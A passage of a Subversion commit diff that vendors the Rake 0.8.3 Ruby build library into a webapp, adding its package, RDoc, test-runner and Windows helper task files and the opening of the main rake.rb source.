+
+    # Create the tasks defined by this task library.
+    def define
+      fail "Version required (or :noversion)" if @version.nil?
+      @version = nil if :noversion == @version
+
+      desc "Build all the packages"
+      task :package
+      
+      desc "Force a rebuild of the package files"
+      task :repackage => [:clobber_package, :package]
+      
+      desc "Remove package products" 
+      task :clobber_package do
+        rm_r package_dir rescue nil
+      end
+
+      task :clobber => [:clobber_package]
+
+      [
+        [need_tar, tgz_file, "z"],
+        [need_tar_gz, tar_gz_file, "z"],
+        [need_tar_bz2, tar_bz2_file, "j"]
+      ].each do |(need, file, flag)|
+        if need
+          task :package => ["#{package_dir}/#{file}"]
+          file "#{package_dir}/#{file}" => [package_dir_path] + package_files do
+            chdir(package_dir) do
+              sh %{env}
+              sh %{#{@tar_command} #{flag}cvf #{file} #{package_name}}
+            end
+          end
+        end
+      end
+      
+      if need_zip
+        task :package => ["#{package_dir}/#{zip_file}"]
+        file "#{package_dir}/#{zip_file}" => [package_dir_path] + package_files do
+          chdir(package_dir) do
+            sh %{#{@zip_command} -r #{zip_file} #{package_name}}
+          end
+        end
+      end
+
+      directory package_dir
+
+      file package_dir_path => @package_files do
+        mkdir_p package_dir rescue nil
+        @package_files.each do |fn|
+          f = File.join(package_dir_path, fn)
+          fdir = File.dirname(f)
+          mkdir_p(fdir) if !File.exist?(fdir)
+          if File.directory?(fn)
+            mkdir_p(f)
+          else
+            rm_f f
+            safe_ln(fn, f)
+          end
+        end
+      end
+      self
+    end
+
+    def package_name
+      @version ? "#{@name}-#{@version}" : @name
+    end
+      
+    def package_dir_path
+      "#{package_dir}/#{package_name}"
+    end
+
+    def tgz_file
+      "#{package_name}.tgz"
+    end
+
+    def tar_gz_file
+      "#{package_name}.tar.gz"
+    end
+
+    def tar_bz2_file
+      "#{package_name}.tar.bz2"
+    end
+
+    def zip_file
+      "#{package_name}.zip"
+    end
+  end
+
+end

Added: trunk/src/main/webapp/WEB-INF/gems/gems/rake-0.8.3/lib/rake/rake_test_loader.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/rake-0.8.3/lib/rake/rake_test_loader.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/rake-0.8.3/lib/rake/rake_test_loader.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,5 @@
+#!/usr/bin/env ruby
+
+# Load the test files from the command line.
+
+ARGV.each { |f| load f unless f =~ /^-/  }

Added: trunk/src/main/webapp/WEB-INF/gems/gems/rake-0.8.3/lib/rake/rdoctask.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/rake-0.8.3/lib/rake/rdoctask.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/rake-0.8.3/lib/rake/rdoctask.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,147 @@
+#!/usr/bin/env ruby
+
+require 'rake'
+require 'rake/tasklib'
+
+module Rake
+
+  # Create a documentation task that will generate the RDoc files for
+  # a project.
+  #
+  # The RDocTask will create the following targets:
+  #
+  # [<b><em>rdoc</em></b>]
+  #   Main task for this RDOC task.  
+  #
+  # [<b>:clobber_<em>rdoc</em></b>]
+  #   Delete all the rdoc files.  This target is automatically
+  #   added to the main clobber target.
+  #
+  # [<b>:re<em>rdoc</em></b>]
+  #   Rebuild the rdoc files from scratch, even if they are not out
+  #   of date.
+  #
+  # Simple Example:
+  #
+  #   Rake::RDocTask.new do |rd|
+  #     rd.main = "README.rdoc"
+  #     rd.rdoc_files.include("README.rdoc", "lib/**/*.rb")
+  #   end
+  #
+  # You may wish to give the task a different name, such as if you are
+  # generating two sets of documentation.  For instance, if you want to have a
+  # development set of documentation including private methods:
+  #
+  #   Rake::RDocTask.new(:rdoc_dev) do |rd|
+  #     rd.main = "README.doc"
+  #     rd.rdoc_files.include("README.rdoc", "lib/**/*.rb")
+  #     rd.options << "--all"
+  #   end
+  #
+  # The tasks would then be named :<em>rdoc_dev</em>, :clobber_<em>rdoc_dev</em>, and
+  # :re<em>rdoc_dev</em>.
+  #
+  class RDocTask < TaskLib
+    # Name of the main, top level task.  (default is :rdoc)
+    attr_accessor :name
+
+    # Name of directory to receive the html output files. (default is "html")
+    attr_accessor :rdoc_dir
+
+    # Title of RDoc documentation. (default is none)
+    attr_accessor :title
+
+    # Name of file to be used as the main, top level file of the
+    # RDoc. (default is none)
+    attr_accessor :main
+
+    # Name of template to be used by rdoc. (defaults to rdoc's default)
+    attr_accessor :template
+
+    # List of files to be included in the rdoc generation. (default is [])
+    attr_accessor :rdoc_files
+
+    # List of options to be passed rdoc.  (default is [])
+    attr_accessor :options
+
+    # Run the rdoc process as an external shell (default is false)
+    attr_accessor :external
+
+    # Create an RDoc task named <em>rdoc</em>.  Default task name is +rdoc+.
+    def initialize(name=:rdoc)  # :yield: self
+      @name = name
+      @rdoc_files = Rake::FileList.new
+      @rdoc_dir = 'html'
+      @main = nil
+      @title = nil
+      @template = nil
+      @external = false
+      @options = []
+      yield self if block_given?
+      define
+    end
+    
+    # Create the tasks defined by this task lib.
+    def define
+      if name.to_s != "rdoc"
+        desc "Build the RDOC HTML Files"
+      end
+
+      desc "Build the #{name} HTML Files"
+      task name
+      
+      desc "Force a rebuild of the RDOC files"
+      task "re#{name}" => ["clobber_#{name}", name]
+      
+      desc "Remove rdoc products" 
+      task "clobber_#{name}" do
+        rm_r rdoc_dir rescue nil
+      end
+      
+      task :clobber => ["clobber_#{name}"]
+      
+      directory @rdoc_dir
+      task name => [rdoc_target]
+      file rdoc_target => @rdoc_files + [Rake.application.rakefile] do
+        rm_r @rdoc_dir rescue nil
+        args = option_list + @rdoc_files
+        if @external
+          argstring = args.join(' ')
+          sh %{ruby -Ivendor vender/rd #{argstring}}
+        else
+          require 'rdoc/rdoc'
+          RDoc::RDoc.new.document(args)
+        end
+      end
+      self
+    end
+
+    def option_list
+      result = @options.dup
+      result << "-o" << @rdoc_dir
+      result << "--main" << quote(main) if main
+      result << "--title" << quote(title) if title
+      result << "-T" << quote(template) if template
+      result
+    end
+
+    def quote(str)
+      if @external
+        "'#{str}'"
+      else
+        str
+      end
+    end
+
+    def option_string
+      option_list.join(' ')
+    end
+
+    private
+
+    def rdoc_target
+      "#{rdoc_dir}/index.html"
+    end
+
+  end
+end

Added: trunk/src/main/webapp/WEB-INF/gems/gems/rake-0.8.3/lib/rake/ruby182_test_unit_fix.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/rake-0.8.3/lib/rake/ruby182_test_unit_fix.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/rake-0.8.3/lib/rake/ruby182_test_unit_fix.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,23 @@
+module Test
+  module Unit
+    module Collector
+      class Dir
+        undef collect_file
+        def collect_file(name, suites, already_gathered)
+          # loadpath = $:.dup
+          dir = File.dirname(File.expand_path(name))
+          $:.unshift(dir) unless $:.first == dir
+          if(@req)
+            @req.require(name)
+          else
+            require(name)
+          end
+          find_test_cases(already_gathered).each{|t| add_suite(suites, t.suite)}
+        ensure
+          # $:.replace(loadpath)
+          $:.delete_at $:.rindex(dir)
+        end
+      end
+    end
+  end
+end


Property changes on: trunk/src/main/webapp/WEB-INF/gems/gems/rake-0.8.3/lib/rake/ruby182_test_unit_fix.rb
___________________________________________________________________
Name: svn:executable
   + *

Added: trunk/src/main/webapp/WEB-INF/gems/gems/rake-0.8.3/lib/rake/runtest.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/rake-0.8.3/lib/rake/runtest.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/rake-0.8.3/lib/rake/runtest.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,23 @@
+#!/usr/bin/env ruby
+
+require 'test/unit'
+require 'test/unit/assertions'
+
+module Rake
+  include Test::Unit::Assertions
+
+  def run_tests(pattern='test/test*.rb', log_enabled=false)
+    Dir["#{pattern}"].each { |fn|
+      puts fn if log_enabled
+      begin
+        load fn
+      rescue Exception => ex
+        puts "Error in #{fn}: #{ex.message}"
+        puts ex.backtrace
+        assert false
+      end
+    }
+  end
+
+  extend self
+end

Added: trunk/src/main/webapp/WEB-INF/gems/gems/rake-0.8.3/lib/rake/tasklib.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/rake-0.8.3/lib/rake/tasklib.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/rake-0.8.3/lib/rake/tasklib.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,23 @@
+#!/usr/bin/env ruby
+
+require 'rake'
+
+module Rake
+
+  # Base class for Task Libraries.
+  class TaskLib
+    include Cloneable
+
+    # Make a symbol by pasting two strings together.
+    #
+    # NOTE: DEPRECATED! This method is kinda stupid. I don't know why
+    # I didn't just use string interpolation. But now other task
+    # libraries depend on this so I can't remove it without breaking
+    # other people's code. So for now it stays for backwards
+    # compatibility. BUT DON'T USE IT.
+    def paste(a,b)              # :nodoc:
+      (a.to_s + b.to_s).intern
+    end
+  end
+
+end

Added: trunk/src/main/webapp/WEB-INF/gems/gems/rake-0.8.3/lib/rake/testtask.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/rake-0.8.3/lib/rake/testtask.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/rake-0.8.3/lib/rake/testtask.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,161 @@
+#!/usr/bin/env ruby
+
+# Define a task library for running unit tests.
+
+require 'rake'
+require 'rake/tasklib'
+
+module Rake
+
+  # Create a task that runs a set of tests.
+  #
+  # Example:
+  #  
+  #   Rake::TestTask.new do |t|
+  #     t.libs << "test"
+  #     t.test_files = FileList['test/test*.rb']
+  #     t.verbose = true
+  #   end
+  #
+  # If rake is invoked with a "TEST=filename" command line option,
+  # then the list of test files will be overridden to include only the
+  # filename specified on the command line.  This provides an easy way
+  # to run just one test.
+  #
+  # If rake is invoked with a "TESTOPTS=options" command line option,
+  # then the given options are passed to the test process after a
+  # '--'.  This allows Test::Unit options to be passed to the test
+  # suite.
+  #
+  # Examples:
+  #
+  #   rake test                           # run tests normally
+  #   rake test TEST=just_one_file.rb     # run just one test file.
+  #   rake test TESTOPTS="-v"             # run in verbose mode
+  #   rake test TESTOPTS="--runner=fox"   # use the fox test runner
+  #
+  class TestTask < TaskLib
+
+    # Name of test task. (default is :test)
+    attr_accessor :name
+
+    # List of directories to added to $LOAD_PATH before running the
+    # tests. (default is 'lib')
+    attr_accessor :libs
+
+    # True if verbose test output desired. (default is false)
+    attr_accessor :verbose
+
+    # Test options passed to the test suite.  An explicit
+    # TESTOPTS=opts on the command line will override this. (default
+    # is NONE)
+    attr_accessor :options
+
+    # Request that the tests be run with the warning flag set.
+    # E.g. warning=true implies "ruby -w" used to run the tests.
+    attr_accessor :warning
+
+    # Glob pattern to match test files. (default is 'test/test*.rb')
+    attr_accessor :pattern
+
+    # Style of test loader to use.  Options are:
+    #
+    # * :rake -- Rake provided test loading script (default).
+    # * :testrb -- Ruby provided test loading script.
+    # * :direct -- Load tests using command line loader.
+    # 
+    attr_accessor :loader
+
+    # Array of commandline options to pass to ruby when running test loader.
+    attr_accessor :ruby_opts
+
+    # Explicitly define the list of test files to be included in a
+    # test.  +list+ is expected to be an array of file names (a
+    # FileList is acceptable).  If both +pattern+ and +test_files+ are
+    # used, then the list of test files is the union of the two.
+    def test_files=(list)
+      @test_files = list
+    end
+
+    # Create a testing task.
+    def initialize(name=:test)
+      @name = name
+      @libs = ["lib"]
+      @pattern = nil
+      @options = nil
+      @test_files = nil
+      @verbose = false
+      @warning = false
+      @loader = :rake
+      @ruby_opts = []
+      yield self if block_given?
+      @pattern = 'test/test*.rb' if @pattern.nil? && @test_files.nil?
+      define
+    end
+
+    # Create the tasks defined by this task lib.
+    def define
+      lib_path = @libs.join(File::PATH_SEPARATOR)
+      desc "Run tests" + (@name==:test ? "" : " for #{@name}")
+      task @name do
+        run_code = ''
+        RakeFileUtils.verbose(@verbose) do
+          run_code =
+            case @loader
+            when :direct
+              "-e 'ARGV.each{|f| load f}'"
+            when :testrb
+              "-S testrb #{fix}"
+            when :rake
+              rake_loader
+            end
+          @ruby_opts.unshift( "-I#{lib_path}" )
+          @ruby_opts.unshift( "-w" ) if @warning
+          ruby @ruby_opts.join(" ") +
+            " \"#{run_code}\" " +
+            file_list.collect { |fn| "\"#{fn}\"" }.join(' ') +
+            " #{option_list}"
+        end
+      end
+      self
+    end
+
+    def option_list # :nodoc:
+      ENV['TESTOPTS'] || @options || ""
+    end
+
+    def file_list # :nodoc:
+      if ENV['TEST']
+        FileList[ ENV['TEST'] ]
+      else
+        result = []
+        result += @test_files.to_a if @test_files
+        result += FileList[ @pattern ].to_a if @pattern
+        FileList[result]
+      end
+    end
+
+    def fix # :nodoc:
+      case RUBY_VERSION
+      when '1.8.2'
+        find_file 'rake/ruby182_test_unit_fix'
+      else
+        nil
+      end || ''
+    end
+
+    def rake_loader # :nodoc:
+      find_file('rake/rake_test_loader') or
+        fail "unable to find rake test loader"
+    end
+
+    def find_file(fn) # :nodoc:
+      $LOAD_PATH.each do |path|
+        file_path = File.join(path, "#{fn}.rb")
+        return file_path if File.exist? file_path
+      end
+      nil
+    end
+
+  end
+end

Added: trunk/src/main/webapp/WEB-INF/gems/gems/rake-0.8.3/lib/rake/win32.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/rake-0.8.3/lib/rake/win32.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/rake-0.8.3/lib/rake/win32.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,54 @@
+module Rake
+  
+  # Win 32 interface methods for Rake. Windows specific functionality
+  # will be placed here to collect that knowledge in one spot.
+  module Win32
+    
+    # Error indicating a problem in locating the home directory on a
+    # Win32 system.
+    class Win32HomeError < RuntimeError
+    end
+    
+    class << self
+      # True if running on a windows system.
+      def windows?
+        Config::CONFIG['host_os'] =~ /mswin/
+      end
+
+      # Run a command line on windows.
+      def rake_system(*cmd)
+        if cmd.size == 1
+          system("call #{cmd}")
+        else
+          system(*cmd)
+        end
+      end
+      
+      # The standard directory containing system wide rake files on
+      # Win 32 systems. Try the following environment variables (in
+      # order):
+      #
+      # * APPDATA
+      # * HOMEDRIVE + HOMEPATH
+      # * USERPROFILE
+      #
+      # If the above are not defined, the return nil.
+      def win32_system_dir #:nodoc:
+        win32_shared_path = ENV['APPDATA']
+        if win32_shared_path.nil? && ENV['HOMEDRIVE'] && ENV['HOMEPATH']
+          win32_shared_path = ENV['HOMEDRIVE'] + ENV['HOMEPATH']
+        end
+        win32_shared_path ||= ENV['USERPROFILE']
+        raise Win32HomeError, "Unable to determine home path environment variable." if
+          win32_shared_path.nil? or win32_shared_path.empty?
+        normalize(File.join(win32_shared_path, 'Rake'))
+      end
+      
+      # Normalize a win32 path so that the slashes are all forward slashes.
+      def normalize(path)
+        path.gsub(/\\/, '/')
+      end
+      
+    end
+  end
+end

Added: trunk/src/main/webapp/WEB-INF/gems/gems/rake-0.8.3/lib/rake.rb
===================================================================
--- trunk/src/main/webapp/WEB-INF/gems/gems/rake-0.8.3/lib/rake.rb	2008-12-20 20:26:23 UTC (rev 1003)
+++ trunk/src/main/webapp/WEB-INF/gems/gems/rake-0.8.3/lib/rake.rb	2008-12-20 21:22:52 UTC (rev 1004)
@@ -0,0 +1,2468 @@
+#!/usr/bin/env ruby
+
+#--
+
+# Copyright (c) 2003, 2004, 2005, 2006, 2007  Jim Weirich
+#
+# Permission is hereby granted, free of charge, to any person obtaining a copy
+# of this software and associated documentation files (the "Software"), to
+# deal in the Software without restriction, including without limitation the
+# rights to use, copy, modify, merge, publish, distribute, sublicense, and/or
+# sell copies of the Software, and to permit persons to whom the Software is
+# furnished to do so, subject to the following conditions:
+#
+# The above copyright notice and this permission notice shall be included in
+# all copies or substantial portions of the Software.
+#
+# THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
+# IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY,
+# FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE
+# AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER
+# LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING
+# FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS
+# IN THE SOFTWARE.
+#++
+#
+# = Rake -- Ruby Make
+#
+# This is the main file for the Rake application.  Normally it is referenced
+# as a library via a require statement, but it can be distributed
+# independently as an application.
+
+RAKEVERSION = '0.8.3'
+
+require 'rbconfig'
+require 'fileutils'
+require 'singleton'
+require 'monitor'
+require 'optparse'
+require 'ostruct'
+
+require 'rake/win32'
+
+######################################################################
+# Rake extensions to Module.
+#
+class Module
+  # Check for an existing method in the current class before extending.  IF
+  # the method already exists, then a warning is printed and the extension is
+  # not added.  Otherwise the block is yielded and any definitions in the
+  # block will take effect.
+  #
+  # Usage:
+  #
+  #   class String
+  #     rake_extension("xyz") do
+  #       def xyz
+  #         ...
+  #       end
+  #     end
+  #   end
+  #
+  def rake_extension(method)
+    if instance_methods.include?(method.to_s) || instance_methods.include?(method.to_sym)
+      $stderr.puts "WARNING: Possible conflict with Rake extension: #{self}##{method} already exists"
+    else
+      yield
+    end
+  end
+end # module Module
+
+
+######################################################################
+# User defined methods to be added to String.
+#
+class String
+  rake_extension("ext") do
+    # Replace the file extension with +newext+.  If there is no extenson on
+    # the string, append the new extension to the end.  If the new extension
+    # is not given, or is the empty string, remove any existing extension.
+    #
+    # +ext+ is a user added method for the String class.
+    def ext(newext='')
+      return self.dup if ['.', '..'].include? self
+      if newext != ''
+        newext = (newext =~ /^\./) ? newext : ("." + newext)
+      end
+      dup.sub!(%r(([^/\\])\.[^./\\]*$)) { $1 + newext } || self + newext
+    end
+  end
+
+  rake_extension("pathmap") do
+    # Explode a path into individual components.  Used by +pathmap+.
+    def pathmap_explode
+      head, tail = File.split(self)
+      return [self] if head == self
+      return [tail] if head == '.' || tail == '/'
+      return [head, tail] if head == '/'
+      return head.pathmap_explode + [tail]
+    end
+    protected :pathmap_explode
+
+    # Extract a partial path from the path.  Include +n+ directories from the
+    # front end (left hand side) if +n+ is positive.  Include |+n+|
+    # directories from the back end (right hand side) if +n+ is negative.
+    def pathmap_partial(n)
+      dirs = File.dirname(self).pathmap_explode
+      partial_dirs =
+        if n > 0
+          dirs[0...n]
+        elsif n < 0
+          dirs.reverse[0...-n].reverse
+        else
+          "."
+        end
+      File.join(partial_dirs)
+    end
+    protected :pathmap_partial
+      
+    # Preform the pathmap replacement operations on the given path. The
+    # patterns take the form 'pat1,rep1;pat2,rep2...'.
+    def pathmap_replace(patterns, &block)
+      result = self
+      patterns.split(';').each do |pair|
+        pattern, replacement = pair.split(',')
+        pattern = Regexp.new(pattern)
+        if replacement == '*' && block_given?
+          result = result.sub(pattern, &block)
+        elsif replacement
+          result = result.sub(pattern, replacement)
+        else
+          result = result.sub(pattern, '')
+        end
+      end
+      result
+    end
+    protected :pathmap_replace
+
+    # Map the path according to the given specification.  The specification
+    # controls the details of the mapping.  The following special patterns are
+    # recognized:
+    #
+    # * <b>%p</b> -- The complete path.
+    # * <b>%f</b> -- The base file name of the path, with its file extension,
+    #   but without any directories.
+    # * <b>%n</b> -- The file name of the path without its file extension.
+    # * <b>%d</b> -- The directory list of the path.
+    # * <b>%x</b> -- The file extension of the path.  An empty string if there
+    #   is no extension.
+    # * <b>%X</b> -- Everything *but* the file extension.
+    # * <b>%s</b> -- The alternate file separater if defined, otherwise use
+    #   the standard file separator.
+    # * <b>%%</b> -- A percent sign.
+    #
+    # The %d specifier can also have a numeric prefix (e.g. '%2d'). If the
+    # number is positive, only return (up to) +n+ directories in the path,
+    # starting from the left hand side.  If +n+ is negative, return (up to)
+    # |+n+| directories from the right hand side of the path.
+    #
+    # Examples:
+    #
+    #   'a/b/c/d/file.txt'.pathmap("%2d")   => 'a/b'
+    #   'a/b/c/d/file.txt'.pathmap("%-2d")  => 'c/d'
+    #
+    # Also the %d, %p, $f, $n, %x, and %X operators can take a
+    # pattern/replacement argument to perform simple string substititions on a
+    # particular part of the path.  The pattern and replacement are speparated
+    # by a comma and are enclosed by curly braces.  The replacement spec comes
+    # after the % character but before the operator letter.  (e.g.
+    # "%{old,new}d").  Muliple replacement specs should be separated by
+    # semi-colons (e.g. "%{old,new;src,bin}d").
+    #
+    # Regular expressions may be used for the pattern, and back refs may be
+    # used in the replacement text.  Curly braces, commas and semi-colons are
+    # excluded from both the pattern and replacement text (let's keep parsing
+    # reasonable).
+    #
+    # For example:
+    #
+    #    "src/org/onestepback/proj/A.java".pathmap("%{^src,bin}X.class")
+    #
+    # returns:
+    #
+    #    "bin/org/onestepback/proj/A.class"
+    #
+    # If the replacement text is '*', then a block may be provided to perform
+    # some arbitrary calculation for the replacement.
+    #
+    # For example:
+    #
+    #   "/path/to/file.TXT".pathmap("%X%{.*,*}x") { |ext|
+    #      ext.downcase
+    #   }
+    #
+    # Returns:
+    #
+    #  "/path/to/file.txt"
+    #
+    def pathmap(spec=nil, &block)
+      return self if spec.nil?
+      result = ''
+      spec.scan(/%\{[^}]*\}-?\d*[sdpfnxX%]|%-?\d+d|%.|[^%]+/) do |frag|
+        case frag
+        when '%f'
+          result << File.basename(self)
+        when '%n'
+          result << File.basename(self).ext
+        when '%d'
+          result << File.dirname(self)
+        when '%x'
+          result << $1 if self =~ /[^\/](\.[^.]+)$/
+        when '%X'
+          if self =~ /^(.*[^\/])(\.[^.]+)$/
+            result << $1
+          else
+            result << self
+          end
+        when '%p'
+          result << self
+        when '%s'
+          result << (File::ALT_SEPARATOR || File::SEPARATOR)
+        when '%-'
+          # do nothing
+        when '%%'
+          result << "%"
+        when /%(-?\d+)d/
+          result << pathmap_partial($1.to_i)
+        when /^%\{([^}]*)\}(\d*[dpfnxX])/
+          patterns, operator = $1, $2
+          result << pathmap('%' + operator).pathmap_replace(patterns, &block)
+        when /^%/
+          fail ArgumentError, "Unknown pathmap specifier #{frag} in '#{spec}'"
+        else
+          result << frag
+        end
+      end
+      result
+    end
+  end
+end # class String
+
+##############################################################################
+module Rake
+
+  # Errors -----------------------------------------------------------
+
+  # Error indicating an ill-formed task declaration.
+  class TaskArgumentError < ArgumentError
+  end
+
+  # Error indicating a recursion overflow error in task selection.
+  class RuleRecursionOverflowError < StandardError
+    def initialize(*args)
+      super
+      @targets = []
+    end
+
+    def add_target(target)
+      @targets << target
+    end
+
+    def message
+      super + ": [" + @targets.reverse.join(' => ') + "]"
+    end
+  end
+
+  # --------------------------------------------------------------------------
+  # Rake module singleton methods.
+  #
+  class << self
+    # Current Rake Application
+    def application
+      @application ||= Rake::Application.new
+    end
+
+    # Set the current Rake application object.
+    def application=(app)
+      @application = app
+    end
+
+    # Return the original directory where the Rake application was started.
+    def original_dir
+      application.original_dir
+    end
+
+  end
+
+  # ##########################################################################
+  # Mixin for creating easily cloned objects.
+  #
+  module Cloneable
+    # Clone an object by making a new object and setting all the instance
+    # variables to the same values.
+    def dup
+      sibling = self.class.new
+      instance_variables.each do |ivar|
+        value = self.instance_variable_get(ivar)
+        new_value = value.clone rescue value
+        sibling.instance_variable_set(ivar, new_value)
+      end
+      sibling.taint if tainted?
+      sibling
+    end
+
+    def clone
+      sibling = dup
+      sibling.freeze if frozen?
+      sibling
+    end
+  end
+
+  ####################################################################
+  # TaskAguments manage the arguments passed to a task.
+  #
+  class TaskArguments
+    include Enumerable
+
+    attr_reader :names
+
+    # Create a TaskArgument object with a list of named arguments
+    # (given by :names) and a set of associated values (given by
+    # :values).  :parent is the parent argument object.
+    def initialize(names, values, parent=nil)
+      @names = names
+      @parent = parent
+      @hash = {}
+      names.each_with_index { |name, i|
+        @hash[name.to_sym] = values[i] unless values[i].nil?
+      }
+    end
+
+    # Create a new argument scope using the prerequisite argument
+    # names.
+    def new_scope(names)
+      values = names.collect { |n| self[n] }
+      self.class.new(names, values, self)
+    end
+
+    # Find an argument value by name or index.
+    def [](index)
+      lookup(index.to_sym)
+    end
+
+    # Specify a hash of default values for task arguments. Use the
+    # defaults only if there is no specific value for the given
+    # argument.
+    def with_defaults(defaults)
+      @hash = defaults.merge(@hash)
+    end
+
+    def each(&block)
+      @hash.each(&block)
+    end
+
+    def method_missing(sym, *args, &block)
+      lookup(sym.to_sym)
+    end
+
+    def to_hash
+      @hash
+    end
+
+    def to_s
+      @hash.inspect
+    end
+
+    def inspect
+      to_s
+    end
+    
+    protected
+    
+    def lookup(name)
+      if @hash.has_key?(name)
+        @hash[name]
+      elsif ENV.has_key?(name.to_s)
+        ENV[name.to_s]
+      elsif ENV.has_key?(name.to_s.upcase)
+        ENV[name.to_s.upcase]
+      elsif @parent
+        @parent.lookup(name)
+      end
+    end
+  end
+
+  EMPTY_TASK_ARGS = TaskArguments.new([], [])
+
+  ####################################################################
+  # InvocationChain tracks the chain of task invocations to detect
+  # circular dependencies.
+  class InvocationChain
+    def initialize(value, tail)
+      @value = value
+      @tail = tail
+    end
+
+    def member?(obj)
+      @value == obj || @tail.member?(obj)
+    end
+
+    def append(value)
+      if member?(value)
+        fail RuntimeError, "Circular dependency detected: #{to_s} => #{value}"
+      end
+      self.class.new(value, self)
+    end
+
+    def to_s
+      "#{prefix}#{@value}"
+    end
+
+    def self.append(value, chain)
+      chain.append(value)
+    end
+
+    private
+
+    def prefix
+      "#{@tail.to_s} => "
+    end
+
+    class EmptyInvocationChain
+      def member?(obj)
+        false
+      end
+      def append(value)
+        InvocationChain.new(value, self)
+      end
+      def to_s
+        "TOP"
+      end
+    end
+
+    EMPTY = EmptyInvocationChain.new
+
+  end # class InvocationChain
+
+end # module Rake
+
+module Rake
+
+  # #########################################################################
+  # A Task is the basic unit of work in a Rakefile.  Tasks have associated
+  # actions (possibly more than one) and a list of prerequisites.  When
+  # invoked, a task will first ensure that all of its prerequisites have an
+  # opportunity to run and then it will execute its own actions.
+  #
+  # Tasks are not usually created directly using the new method, but rather
+  # use the +file+ and +task+ convenience methods.
+  #
+  class Task
+    # List of prerequisites for a task.
+    attr_reader :prerequisites
+
+    # List of actions attached to a task.
+    attr_reader :actions
+
+    # Application owning this task.
+    attr_accessor :application
+
+    # Comment for this task.  Restricted to a single line of no more than 50
+    # characters.
+    attr_reader :comment
+
+    # Full text of the (possibly multi-line) comment.
+    attr_reader :full_comment
+
+    # Array of nested namespaces names used for task lookup by this task.
+    attr_reader :scope
+
+    # Return task name
+    def to_s
+      name
+    end
+
+    def inspect
+      "<#{self.class} #{name} => [#{prerequisites.join(', ')}]>"
+    end
+
+    # List of sources for task.
+    attr_writer :sources
+    def sources
+      @sources ||= []
+    end
+
+    # First source from a rule (nil if no sources)
+    def source
+      @sources.first if defined?(@sources)
+    end
+
+    # Create a task named +task_name+ with no actions or prerequisites. Use
+    # +enhance+ to add actions and prerequisites.
+    def initialize(task_name, app)
+      @name = task_name.to_s
+      @prerequisites = []
+      @actions = []
+      @already_invoked = false
+      @full_comment = nil
+      @comment = nil
+      @lock = Monitor.new
+      @application = app
+      @scope = app.current_scope
+      @arg_names = nil
+    end
+
+    # Enhance a task with prerequisites or actions.  Returns self.
+    def enhance(deps=nil, &block)
+      @prerequisites |= deps if deps
+      @actions << block if block_given?
+      self
+    end
+
+    # Name of the task, including any namespace qualifiers.
+    def name
+      @name.to_s
+    end
+
+    # Name of task with argument list description.
+    def name_with_args # :nodoc:
+      if arg_description
+        "#{name}#{arg_description}"
+      else
+        name
+      end
+    end
+
+    # Argument description (nil if none).
+    def arg_description # :nodoc:
+      @arg_names ? "[#{(arg_names || []).join(',')}]" : nil
+    end
+
+    # Name of arguments for this task.
+    def arg_names
+      @arg_names || []
+    end
+
+    # Reenable the task, allowing its tasks to be executed if the task
+    # is invoked again.
+    def reenable
+      @already_invoked = false
+    end
+
+    # Clear the existing prerequisites and actions of a rake task.
+    def clear
+      clear_prerequisites
+      clear_actions
+      self
+    end
+
+    # Clear the existing prerequisites of a rake task.
+    def clear_prerequisites
+      prerequisites.clear
+      self
+    end
+
+    # Clear the existing actions on a rake task.
+    def clear_actions
+      actions.clear
+      self
+    end
+
+    # Invoke the task if it is needed.  Prerequites are invoked first.
+    def invoke(*args)
+      task_args = TaskArguments.new(arg_names, args)
+      invoke_with_call_chain(task_args, InvocationChain::EMPTY)
+    end
+
+    # Same as invoke, but explicitly pass a call chain to detect
+    # circular dependencies.
+    def invoke_with_call_chain(task_args, invocation_chain) # :nodoc:
+      new_chain = InvocationChain.append(self, invocation_chain)
+      @lock.synchronize do
+        if application.options.trace
+          puts "** Invoke #{name} #{format_trace_flags}"
+        end
+        return if @already_invoked
+        @already_invoked = true
+        invoke_prerequisites(task_args, new_chain)
+        execute(task_args) if needed?
+      end
+    end
+    protected :invoke_with_call_chain
+
+    # Invoke all the prerequisites of a task.
+    def invoke_prerequisites(task_args, invocation_chain) # :nodoc:
+      @prerequisites.each { |n|
+        prereq = application[n, @scope]
+        prereq_args = task_args.new_scope(prereq.arg_names)
+        prereq.invoke_with_call_chain(prereq_args, invocation_chain)
+      }
+    end
+
+    # Format the trace flags for display.
+    def format_trace_flags
+      flags = []
+      flags << "first_time" unless @already_invoked
